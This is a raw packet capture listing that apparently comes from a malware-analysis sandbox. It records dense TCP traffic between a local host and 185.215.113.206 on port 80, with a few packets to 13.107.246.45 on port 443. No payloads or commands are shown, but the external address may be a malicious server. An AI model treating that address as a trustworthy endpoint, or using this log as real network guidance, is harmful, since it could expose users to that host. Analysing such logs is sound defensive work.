Nov 19, 2024 01:01:24.443762064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443763018 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443770885 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443778992 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443794012 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443809032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443809032 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443825960 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443830013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443841934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443856955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443865061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443898916 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443917036 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443933964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443949938 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443962097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443964958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443980932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.443994045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.443995953 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444011927 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444026947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444026947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444042921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444057941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444066048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444072008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444087982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444102049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444102049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444118977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444122076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444135904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444145918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444152117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444173098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444206953 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444233894 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444261074 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444277048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444287062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444292068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444308043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444310904 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444324017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444339991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444355011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444360971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444360971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444381952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444387913 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444399118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444415092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444420099 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444430113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444446087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444454908 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444463968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444475889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444479942 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444494963 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444508076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444509029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444525957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444540977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444540977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444556952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444560051 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444576979 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444591045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444597006 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444613934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444616079 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444632053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444645882 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444679976 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444703102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444719076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444732904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444745064 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444752932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444768906 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444781065 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444785118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.444813013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.444834948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.446199894 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.446228027 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.446969986 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.446979046 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.545387983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545406103 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545429945 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545447111 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545460939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545478106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545478106 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.545490980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.545500994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.545543909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.580701113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580734968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580749989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580816031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580830097 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580843925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.580861092 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.580903053 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.580949068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580962896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580988884 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.580998898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581001997 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581018925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581041098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581059933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581063986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581085920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581105947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581110954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581125975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581130028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581145048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581151962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581161976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581172943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581191063 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581207991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581218004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581233025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581252098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581262112 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581276894 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581283092 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581295013 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581299067 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581315041 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581321955 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581331968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581342936 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581350088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581366062 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581384897 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581398964 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581407070 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581413031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581413031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581422091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581438065 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581439972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581454039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581480980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581482887 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581494093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581507921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581518888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581536055 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581542015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581552029 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581562996 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581568003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581581116 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581584930 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581605911 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581607103 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581624985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581638098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581644058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581651926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581669092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581682920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581686974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581700087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581727028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581727982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581743002 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581751108 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581758976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581774950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581788063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581792116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581803083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581820011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581831932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581831932 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581854105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581876040 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581891060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581893921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581914902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581927061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581929922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581945896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581962109 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581970930 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.581984997 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.581995964 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582010984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582032919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582056999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582071066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582072020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582087994 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582097054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582097054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582097054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582103968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582118034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582134962 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582143068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582158089 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582168102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582178116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582181931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582202911 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582205057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582212925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582215071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582221985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582228899 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582228899 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582250118 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582273006 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582283020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582288027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582304001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582314968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582319975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582335949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582351923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582353115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582375050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582412004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582437038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582446098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582458973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582458973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582461119 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582490921 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582499981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582515001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582520008 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582531929 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582545996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582555056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582561970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582578897 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582580090 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582596064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582612038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582613945 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582628012 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582638025 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582644939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582659960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582694054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582704067 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.582710028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582726955 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582756996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582767010 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582772970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582788944 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582788944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582807064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582822084 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582833052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582854033 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582865000 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582866907 CET	443	49757	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.582885981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582901001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582918882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582928896 CET	49757	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.582931042 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582935095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582950115 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582962990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.582964897 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582981110 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.582997084 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583005905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583019972 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583039045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583064079 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583064079 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583067894 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583076954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583085060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583095074 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583101988 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583108902 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583110094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583117008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583122969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583159924 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583184958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583189011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583231926 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583277941 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583298922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583332062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583343029 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583343029 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583389997 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583414078 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583430052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583445072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583462000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583481073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583481073 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583482027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583508015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583509922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583525896 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583545923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583547115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583549023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583558083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583570957 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583585024 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583587885 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583621979 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583625078 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583641052 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583646059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583656073 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583672047 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583683014 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583687067 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583703995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583722115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583746910 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583764076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583766937 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583781958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583796978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.583808899 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.583812952 CET	80	49736	185.215.113.206	192.168.2.6
